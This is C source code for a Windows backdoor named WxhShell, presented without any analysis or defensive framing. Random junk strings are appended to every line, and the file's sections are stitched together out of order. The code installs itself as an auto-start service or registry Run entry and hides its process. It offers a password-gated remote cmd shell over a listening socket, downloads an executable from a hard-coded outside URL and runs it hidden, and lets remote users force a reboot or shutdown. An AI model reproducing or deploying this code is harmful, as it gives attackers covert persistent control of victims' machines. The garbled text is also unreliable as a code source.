  // 关机 \HQ.Pwr 6  
  case 'd': { 0k4XVd+Nv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =NSunW!  
    if(Boot(SHUTDOWN)) I3}]MAE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s,l*=<  
    else { }^P"R[+4u  
    closesocket(wsh); e E(+  
    ExitThread(0); A,(9|#%L  
    } if3z Fh  
    break; (cV1Pmn  
    } "KSdC8MS  
  // 获取shell J6ed  
  case 's': { e)}=T0 s  
    CmdShell(wsh); 7#X`D  
    closesocket(wsh); l.Z+.<@  
    ExitThread(0); y,@yaM}-/K  
    break; `tcX[(`  
  } ?6L8#"=  
  // 退出 G*~CB\K_  
  case 'x': { Qz_4Ms<o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s OLjT34  
    CloseIt(wsh); UIU6rilB  
    break; 8@|{n`n]  
    } \< a^5'  
  // 离开 GiXs`Yt|  
  case 'q': { 5@ Hg 4.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9xE_Awlc85  
    closesocket(wsh); D9hq$?  
    WSACleanup(); z4zPR?%:  
    exit(1); :bL^S1et  
    break; x}=Q)|)]  
        } WM4,\$  
  } B}K<L\S  
  } J,s:CBCGL  
FMzG6nrdBN  
  // 提示信息 6&L;Sw#Dg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @\>7 wt_'  
} +}:2DXy@  
  } 3df5 e0  
'-$cvH7_  
  return; Y"nz l]T  
} I]3!M`IMG  
4vkqe6  
// shell模块句柄  ?sR(  
int CmdShell(SOCKET sock) "9N;&^ I  
{ gA3f@7}d  
STARTUPINFO si; }]<|`FNc  
ZeroMemory(&si,sizeof(si)); D=Yr/qc?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jE8}Ho_#)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )n[=)"rf  
PROCESS_INFORMATION ProcessInfo; DbtkWq%  
char cmdline[]="cmd"; 6\ .LG4@LO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \'|t>|zhp  
  return 0; n-,mC /4  
} &qIdT;^=I  
fKtlfQG  
// 自身启动模式 txQr|\4k  
int StartFromService(void) B(O6qWsL  
{ x5rLGt  
typedef struct !1UZ<hq  
{ H^vA}F`  
  DWORD ExitStatus; 4$U^)\06W  
  DWORD PebBaseAddress; /;!I.|j  
  DWORD AffinityMask; E]S:F3  
  DWORD BasePriority; K$r)^K=s  
  ULONG UniqueProcessId; .YP&E1lNi  
  ULONG InheritedFromUniqueProcessId; 73SH[f[g  
}   PROCESS_BASIC_INFORMATION; {.DY\;Q  
^+k= ;nl  
PROCNTQSIP NtQueryInformationProcess; `tXd?E/e  
%|>D{q6C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q ;5A~n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6#\:J0  
$Zkk14  
  HANDLE             hProcess; @gM}&G08  
  PROCESS_BASIC_INFORMATION pbi; xVN!w\0  
2U"2L^oKI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :JZV=@<T  
  if(NULL == hInst ) return 0; oq|`;k   
![J_6 f}!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~k}O"{ y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wm9wnAy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q("4R  
`O;4 b#!g  
  if (!NtQueryInformationProcess) return 0; -lAY*2Jg  
.[3C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ttp%U8-LJR  
  if(!hProcess) return 0; /-WmOn*  
4gUx#_AaG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "/2kf)l{4  
2iO{*cB  
  CloseHandle(hProcess); kg,\l9AM  
u,N<U t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]1W]  
if(hProcess==NULL) return 0; "<%J^Z9G  
U6y`:G;.  
HMODULE hMod; wfcR[  
char procName[255]; 1?.NJ<)F  
unsigned long cbNeeded; $M+'jjnP  
BQ70<m2D$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4x@W]*i  
 obPG]*3  
  CloseHandle(hProcess); }7P[%(T5  
p{ ``a=  
if(strstr(procName,"services")) return 1; // 以服务启动 GCv1x->  
_>?.MUPB  
  return 0; // 注册表启动 Q:T9&_|  
} aygK$.wos  
cRNVqMpg  
// 主模块 GdrVH,j  
int StartWxhshell(LPSTR lpCmdLine) S 2W@;XvV  
{ ^\Q%VTM  
  SOCKET wsl; M=SrZ,W  
BOOL val=TRUE; >J_ P[v  
  int port=0; W/CZ/Mc  
  struct sockaddr_in door; |YfJ#Agm+  
?[Ma" l>  
  if(wscfg.ws_autoins) Install(); 6:`[Fi  
&2O~BIRE  
port=atoi(lpCmdLine); >m{>0k(^`  
[nrD4  
if(port<=0) port=wscfg.ws_port; 'iDkAmvD  
U\-.u3/  
  WSADATA data; z^WY5~?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >&F:/   
?C   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?I"?J/zm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mm9*$g!R  
  door.sin_family = AF_INET; XV`8Vb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;d]vAj  
  door.sin_port = htons(port); yF|+oTp  
hJz]N$@W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OK47Q{.gh  
closesocket(wsl); $+Z2q<UT  
return 1; )e6sg]#  
} *~b~y7C  
{MDM=;WP_  
  if(listen(wsl,2) == INVALID_SOCKET) { ]#G1 ]U  
closesocket(wsl); 0[N1SY\lj  
return 1; LB}J7yEQvj  
} [ q[2\F?CE  
  Wxhshell(wsl); ,Tk53 "  
  WSACleanup(); zqZ/z>Gf  
NmF8BmIj  
return 0; d3#e7rQ8  
{SRD\&J[  
} fE3%$M[V7  
8LXK3D}?3  
// 以NT服务方式启动 )V*`(dn'zm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?U1Nm~'UZ  
{ T1x67 b u  
DWORD   status = 0; CJs ~!ww  
  DWORD   specificError = 0xfffffff; {G<1.  
[qk c6sqo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (XFF}~>B.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }nO%q6|\V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2+ g'ul`  
  serviceStatus.dwWin32ExitCode     = 0; }jdmeD:  
  serviceStatus.dwServiceSpecificExitCode = 0; Cn5;h(r  
  serviceStatus.dwCheckPoint       = 0; r)Ml-r =  
  serviceStatus.dwWaitHint       = 0; _u6MSRX[6$  
iU3PlF[B/o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RUVrX`u*(  
  if (hServiceStatusHandle==0) return; <p2\;\?4z  
W{j(=<|<  
status = GetLastError(); N%e^2O)  
  if (status!=NO_ERROR) U%;E:|  
{ %mzDmrzq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NGO?K?  
    serviceStatus.dwCheckPoint       = 0; 8qxZ7|Y@  
    serviceStatus.dwWaitHint       = 0; |Z+qaq{X  
    serviceStatus.dwWin32ExitCode     = status; r>CBp$  
    serviceStatus.dwServiceSpecificExitCode = specificError; aMJ2bu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xh/BVg7$  
    return; \pSRG=`  
  } x(~V7L>"i  
Ap|g[J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \(`C*d  
  serviceStatus.dwCheckPoint       = 0; L&uPNcZ`-  
  serviceStatus.dwWaitHint       = 0; _?$w8 S%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0(&Rm R  
} v!3Oq.ot  
F|o 1r  
// 处理NT服务事件,比如:启动、停止 NdX  C8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R9QW%!:,\2  
{ d5R2J:dI  
switch(fdwControl) %Q;:nVt  
{ ,\d03wha  
case SERVICE_CONTROL_STOP: eW}-UeT  
  serviceStatus.dwWin32ExitCode = 0; sN5Mm8~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +~M.Vs X  
  serviceStatus.dwCheckPoint   = 0; ?Jgqb3+!o  
  serviceStatus.dwWaitHint     = 0; C 20VSwd  
  { Rz6kwh=q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -@B6$XWL  
  } JRAU|gr  
  return; 4E1j0ARQQ  
case SERVICE_CONTROL_PAUSE: T eu.i   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &+ H\ST(/  
  break; X\*H7;k,  
case SERVICE_CONTROL_CONTINUE: "1%k"+&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <DII%7q,6/  
  break; PGVP0H+RV  
case SERVICE_CONTROL_INTERROGATE: U#XW}T=|  
  break; :/RvtmW  
}; J{L d)Q,^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #'RfwldD9  
} ) M(//jX  
b !nA.`T  
// 标准应用程序主函数 ~*Y/#kPY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $v"CQD  
{ wi[FBLB/8  
Ln/*lLIOb  
// 获取操作系统版本 /sPa$D  
OsIsNt=GetOsVer(); ]g,j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PQz[IZ  
O<dCvH  
  // 从命令行安装 m"AyO"}I5  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y$+v "  
[[]NnWJ  
  // 下载执行文件 + EKp*Vje  
if(wscfg.ws_downexe) { 6{fo.M?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z(>:LX"xz  
  WinExec(wscfg.ws_filenam,SW_HIDE); }wEt=zOJ  
} 0G+ qF96  
&b2@+/ F  
if(!OsIsNt) { 0TiDQ4}i[  
// 如果时win9x,隐藏进程并且设置为注册表启动 z: )*Aobwv  
HideProc(); 4FKgp|Y0  
StartWxhshell(lpCmdLine); {?X +Yw  
}  ;CV'  
else Z 8GIZ  
  if(StartFromService()) w[EEA_\  
  // 以服务方式启动 N~S#( .}[  
  StartServiceCtrlDispatcher(DispatchTable); 5p3: 8G7  
else hl DU.k  
  // 普通方式启动 $d&7q5[  
  StartWxhshell(lpCmdLine); *0r!eD   
HPo><u  
return 0; /^WawH6)6  
} pNu?DF{ 3  
,I,Zl.5  
[g+WL\1  
G,(Xz"`,  
=========================================== i"E_nN"V  
 {~w!  
(+u&b< <6N  
`;m0GU68  
x$S~>H<a  
+]hc!s8  
" 8%MF <   
p-7?S^!l  
#include <stdio.h> X6?Gxf,  
#include <string.h> yDpv+6(a  
#include <windows.h> H3Zt 3l1u+  
#include <winsock2.h> 1Eryw~,,9i  
#include <winsvc.h> a<((\c_8G  
#include <urlmon.h> *;lb<uLv  
q'X#F8v  
#pragma comment (lib, "Ws2_32.lib") RGY#0.Z}  
#pragma comment (lib, "urlmon.lib") bPl'?3  
:U @L$  
#define MAX_USER   100 // 最大客户端连接数 ma`sv<f4-!  
#define BUF_SOCK   200 // sock buffer _~*ba+{  
#define KEY_BUFF   255 // 输入 buffer 7&V3f=aj6  
x3jjtjf  
#define REBOOT     0   // 重启 Dd$8{~h"G  
#define SHUTDOWN   1   // 关机 azTiY@/  
ZMK1V)ohn  
#define DEF_PORT   5000 // 监听端口 kkj_k:Eah  
$u)#-X;x  
#define REG_LEN     16   // 注册表键长度 |Y2n6gkH[  
#define SVC_LEN     80   // NT服务名长度 bW3Ah?0N  
q1|@v#kH6  
// 从dll定义API ;\T~Hc}&;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u(`7F(R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e.!~7c_z?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W,nn,%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F5w=tK  
=[gFaB_H  
// wxhshell配置信息 V:gXP1P  
struct WSCFG { c&`]O\D-c  
  int ws_port;         // 监听端口 F-Ku0z]){?  
  char ws_passstr[REG_LEN]; // 口令 eNm Wul  
  int ws_autoins;       // 安装标记, 1=yes 0=no KXu1%`x=%Z  
  char ws_regname[REG_LEN]; // 注册表键名 XhOg>  
  char ws_svcname[REG_LEN]; // 服务名 iX>)6)uJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |%(qaPA1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !~-@sq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^)3=WD'!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,^@/I:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XKT[8o<L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \@_?mL@=  
SMQC/t]HT  
}; $@WA}\D  
n+Ng7  
// default Wxhshell configuration >vuR:4B  
struct WSCFG wscfg={DEF_PORT, g_"B:DR  
    "xuhuanlingzhe", J^pq<   
    1, F}5skD=  
    "Wxhshell", %V-Hy;V  
    "Wxhshell", C{V,=Fo^  
            "WxhShell Service", ;9uDV -"  
    "Wrsky Windows CmdShell Service", }7qboUGe  
    "Please Input Your Password: ", \F7NuG:m,  
  1, W:2j.K9!  
  "http://www.wrsky.com/wxhshell.exe", 1.a:iweN  
  "Wxhshell.exe" tA K=W$r  
    }; :,'.b|Tl.b  
U a1Z,~ *  
// 消息定义模块 c{i\F D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q6P5:@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D:N\K/p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [?)He} _L  
char *msg_ws_ext="\n\rExit."; T<mP.T,$!  
char *msg_ws_end="\n\rQuit."; *o=( w5   
char *msg_ws_boot="\n\rReboot..."; M7(]NQ\TQ  
char *msg_ws_poff="\n\rShutdown..."; Lcs?2c:%  
char *msg_ws_down="\n\rSave to "; cvV8 ;  
d ?,wEfwp  
char *msg_ws_err="\n\rErr!"; <!?ZH"F0  
char *msg_ws_ok="\n\rOK!";  t&G #%  
1kh()IrA  
char ExeFile[MAX_PATH]; ^ pocbmg  
int nUser = 0; (abtCuZ8z  
HANDLE handles[MAX_USER]; >i2WYT  
int OsIsNt; In}~bNv?  
;O({|mpS\  
SERVICE_STATUS       serviceStatus; :Z3]Dk;y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nTz( {q  
ZgxpHo  
// 函数声明 e.;B?0QrV  
int Install(void); iUf?MDE  
int Uninstall(void); "u"?~  
int DownloadFile(char *sURL, SOCKET wsh); tLGNYW!K  
int Boot(int flag); j<A; i  
void HideProc(void); +?0r%R%\  
int GetOsVer(void); m$$sNPnT  
int Wxhshell(SOCKET wsl); %D+NrL(  
void TalkWithClient(void *cs); -qB{TA-.\  
int CmdShell(SOCKET sock); U{3Pk0rZ  
int StartFromService(void); ->@iw!5xu  
int StartWxhshell(LPSTR lpCmdLine); z s[zB#  
I$I',x5Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [} "m4+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XJ?zP=UK  
(gUxS.zU  
// 数据结构和表定义 oX6()FR  
SERVICE_TABLE_ENTRY DispatchTable[] = L^jhr>-";  
{ (w/lZt  
{wscfg.ws_svcname, NTServiceMain}, >uYGY{+j[  
{NULL, NULL} }A7 ] bd  
}; y~rtYI  
)`<7qT_BM  
// 自我安装 L!:;H,  
int Install(void) ,Z[pLF  
{ W_|7hwr  
  char svExeFile[MAX_PATH]; k FE<M6a9@  
  HKEY key; J-~:W~Qx4N  
  strcpy(svExeFile,ExeFile); h.aXW]]}(P  
r59BBW)M  
// 如果是win9x系统,修改注册表设为自启动 g|x* sZR~Y  
if(!OsIsNt) { #lx(F3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pb/[945  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PkDh[i9Z|  
  RegCloseKey(key); |`@7G`x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \l/<[ZZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Pb@@C&  
  RegCloseKey(key); ":01M},RA  
  return 0; Y r 1k\q  
    } ?4lEHef  
  } bU_P@GKB  
} S| l%JM^  
else { :n$?wp  
$Q56~AP  
// 如果是NT以上系统,安装为系统服务 %Yny/O\e%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UAtdRVi]M  
if (schSCManager!=0) =b#,OXQ  
{ ZG_iF#  
  SC_HANDLE schService = CreateService r%` |kN  
  ( 4tFnZ2x  
  schSCManager, 5m rkw  
  wscfg.ws_svcname, EZ)GW%Bm2  
  wscfg.ws_svcdisp, Ly`FU)  
  SERVICE_ALL_ACCESS, qUG)+~g`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z(o]8*;A i  
  SERVICE_AUTO_START, DM*u;t{i  
  SERVICE_ERROR_NORMAL, a |0f B4G  
  svExeFile, \.{ZgL5"  
  NULL, sm;\;MP*yH  
  NULL, E>`gj~  
  NULL, Rj/y.g  
  NULL, ]0myoWpi3  
  NULL 4d $T6b  
  ); @s~*>k#"#  
  if (schService!=0) v^1n.l %E  
  { 4XArpKA  
  CloseServiceHandle(schService); u$y5?n|  
  CloseServiceHandle(schSCManager); lgh+\pj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3b1%^@,ACy  
  strcat(svExeFile,wscfg.ws_svcname); p|'Rm ]&jb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pL{:8Ed  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5s1XO*s)>X  
  RegCloseKey(key); k\lU Q\/O5  
  return 0; =42NQ{%@;  
    } ?bl9e&/!  
  } B3V+/o6  
  CloseServiceHandle(schSCManager); -^= JKd &p  
} j9$kaEf  
} 8jU6N*p/  
{$)pkhJ  
return 1; %51HJB}C]  
} AR5)Uw s  
N##- vV  
// 自我卸载 (Ei} :6,}  
int Uninstall(void) ?F@X>zR2  
{ +We=- e7  
  HKEY key; hquN+eIDH  
M0"}>`1lJ  
if(!OsIsNt) { SI/p8 ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T+)#Du  
  RegDeleteValue(key,wscfg.ws_regname); 9l:vVp7Uk  
  RegCloseKey(key); TDHS/"MbA7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hZeF? G)L'  
  RegDeleteValue(key,wscfg.ws_regname); 4F?O5&329i  
  RegCloseKey(key); >7nOR  
  return 0; >Ms_bfSK  
  } @7OE:& #V  
} 3Vb/Mn!k  
} uKd79[1  
else { )TyI~5>;  
dmUa\1g#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YfU6 mQ  
if (schSCManager!=0) "!_,N@\t  
{ rd4mAX6@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '| bHu  
  if (schService!=0) o.KE=zp&z  
  { zr[|~-  
  if(DeleteService(schService)!=0) { DO9_o9'  
  CloseServiceHandle(schService); |bv7N@?e  
  CloseServiceHandle(schSCManager); \-R\xL  
  return 0; BMovl4*5  
  } xY1@Ja  
  CloseServiceHandle(schService); _gI1@uQw  
  } L$ ZZ]?7j  
  CloseServiceHandle(schSCManager); pJ H@v &a  
} ~X%W2N2  
} !vH={40]  
UaV8 !Z>  
return 1; ETtoY<`#  
} m15> ^i^W  
wGAeOD  
// 从指定url下载文件 m$bDWxm#e  
int DownloadFile(char *sURL, SOCKET wsh) ) >8k8E  
{ ,kw:g&A  
  HRESULT hr; QVPJ$~x  
char seps[]= "/"; '=]|"   
char *token; O*+,KKPt  
char *file; @RFJe$%  
char myURL[MAX_PATH]; u13v@<HGc  
char myFILE[MAX_PATH]; _$BH.I  
E j/P:nB  
strcpy(myURL,sURL); SyCa~M!}>  
  token=strtok(myURL,seps); 95hdQ<W  
  while(token!=NULL) IltU6=]"l  
  { 53)*i\9&  
    file=token; UWg+7RL  
  token=strtok(NULL,seps); l. 0|>gj`0  
  } x]<0Kq9K  
:ej`]yK |  
GetCurrentDirectory(MAX_PATH,myFILE); e[*%tx H  
strcat(myFILE, "\\"); p )w{}@%r  
strcat(myFILE, file); g%T`6dvT  
  send(wsh,myFILE,strlen(myFILE),0); c-bTf$6}  
send(wsh,"...",3,0); R:t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DzE_p- zs  
  if(hr==S_OK) wBIhpiJX0  
return 0; SbN.z  
else [Cf{2WB:7  
return 1; >19j_[n@VC  
V( SRw  
} SH#!Y  
]8ob`F`m,  
// 系统电源模块 t[Ywp!y[  
int Boot(int flag) <-Q0s%mNj,  
{ [gxH,=Pb  
  HANDLE hToken; (G`O[JF  
  TOKEN_PRIVILEGES tkp; wQw y+S  
6V6,m4e  
  if(OsIsNt) { >q)VHV9P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $>!tpJw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \R (Yf!>  
    tkp.PrivilegeCount = 1; vN3uLz'<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 25/OV"Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?emYLw  
if(flag==REBOOT) { Y5$VWUrB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  H= (Zx  
  return 0; !S5_+.U#  
} R\,qL-Br  
else { 6T ,'Oz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d2[R{eNX=  
  return 0; V { yk  
} Tl`HFZQ1  
  } f4r)g2Zb[  
  else { 1OW#_4w/  
if(flag==REBOOT) { Q<d|OX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Gmg&yQ9  
  return 0; n>i}O!agg  
} e.? ;mD  
else { f~Q]"I8w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xwt}WSdF`k  
  return 0; tA]Y=U+Q  
} Q2nqA1sRk  
} X6k-a;  
YB3?Ftgw  
return 1; _omz74   
} .YxcXe3#  
 a5@XD_b  
// win9x进程隐藏模块 U((mOm6  
void HideProc(void) w^wh|'u^_@  
{ J^)=8cy  
"=vH,_"Ql  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y?.l9  
  if ( hKernel != NULL ) NB?y/v  
  { z{ MO~d9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]aTF0 R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  _)=eE  
    FreeLibrary(hKernel); ,ou&WI yC  
  } !;h`J:dN  
!<W^Fh  
return; !J-oGs\ u  
} ~#y(]Xec2  
 V4q v7  
// 获取操作系统版本 &n-)Alx  
int GetOsVer(void) e<1)KqG  
{ +je{%,*  
  OSVERSIONINFO winfo; @]xH t&j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J{h?=vK  
  GetVersionEx(&winfo); @'fWS^ ;&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MZK%IC>  
  return 1; ZAa:f:[#f  
  else KW-g $Ma  
  return 0; pCt0[R;?  
} Z2^B.r#  
`=JGlN7  
// 客户端句柄模块 6UnWtLE  
int Wxhshell(SOCKET wsl) O(CmdSk,  
{ a?P$8NLr  
  SOCKET wsh; Ze-MB0w  
  struct sockaddr_in client; B96"|v$  
  DWORD myID; a<d$P*I(cH  
-G@:uxB  
  while(nUser<MAX_USER) _rjB.  
{ X>kW)c4{b  
  int nSize=sizeof(client); kb2M3%6 V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?2i\E RG?  
  if(wsh==INVALID_SOCKET) return 1; j#[%-nOT  
YqNI:znm-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5BsfbLKC  
if(handles[nUser]==0) T f;:C]  
  closesocket(wsh); 3}25=%;[  
else n+%tu"e  
  nUser++; cL yed3uU  
  } 1J @43>u{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :elTqw>pn  
kQQhZ8Ch  
  return 0; NQqq\h  
} 0FG|s#Ig  
Fooa~C"  
// 关闭 socket MR-cOPn  
void CloseIt(SOCKET wsh) =VOl  *  
{ C3GI?| b  
closesocket(wsh); PuoN<9 #  
nUser--; ZKco  
ExitThread(0); _ pKWDMB$z  
} m. DC  
JDj^7\`  
// 客户端请求句柄 VaLl$w  
void TalkWithClient(void *cs) #,PB(  
{ 9i*Xd$ G  
F|{F'UXj|  
  SOCKET wsh=(SOCKET)cs; #23m_w^L  
  char pwd[SVC_LEN]; 4 N{5i )  
  char cmd[KEY_BUFF]; *^t7?f[  
char chr[1]; vg ^&j0  
int i,j; y&{ Z"+B5  
d0CFMy6  
  while (nUser < MAX_USER) { }&:F,q*  
r,-9 ]?i  
if(wscfg.ws_passstr) { %5|DdpES  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ygS vYMC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h(Ccm44  
  //ZeroMemory(pwd,KEY_BUFF); v'X=|$75  
      i=0; T^XU5qgN  
  while(i<SVC_LEN) { \B1<fF2  
?QfomTT  
  // 设置超时 !|`vW{v  
  fd_set FdRead; ;OD+6@Sr  
  struct timeval TimeOut; M +Jcg b]  
  FD_ZERO(&FdRead); Ad]oM]  
  FD_SET(wsh,&FdRead); D>).^>|q  
  TimeOut.tv_sec=8; l<YCX[%E  
  TimeOut.tv_usec=0; ZFO*D79:K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?~#{3b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2-!n+#Cdf  
2B=''W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <rAk"R^  
  pwd=chr[0]; jFThW N  
  if(chr[0]==0xd || chr[0]==0xa) { $dgez#TPL  
  pwd=0; .?CumaU  
  break; ps=+wg?]  
  } 6h_OxO&!U  
  i++; \QKr2|  
    } kx_PMpc  
i1JWdHt  
  // 如果是非法用户,关闭 socket jXALN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y\1XKAfB  
} X*Dt<i};v  
J~URv)g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KQ\d$fX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TDnbX_xC<  
P2^((c  
while(1) { .ugQH<B  
Gaxa~?ek  
  ZeroMemory(cmd,KEY_BUFF); u{"@ 4  
r GxX]  
      // 自动支持客户端 telnet标准   RS`~i8e'  
  j=0; BL Q&VI4  
  while(j<KEY_BUFF) { mbm|~UwD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ;%tu;  
  cmd[j]=chr[0]; :\+\/HTbh  
  if(chr[0]==0xa || chr[0]==0xd) { ezR!ngt  
  cmd[j]=0; NDaM;`  
  break; 1=X"|`<!  
  } B{+ Ra  
  j++; 70&]nb6f  
    } ]\_T  
K9+C3"*I  
  // 下载文件 , BCo/j  
  if(strstr(cmd,"http://")) { +m8gS;'R4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N>J"^GX  
  if(DownloadFile(cmd,wsh)) ~0~f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OK"B`*  
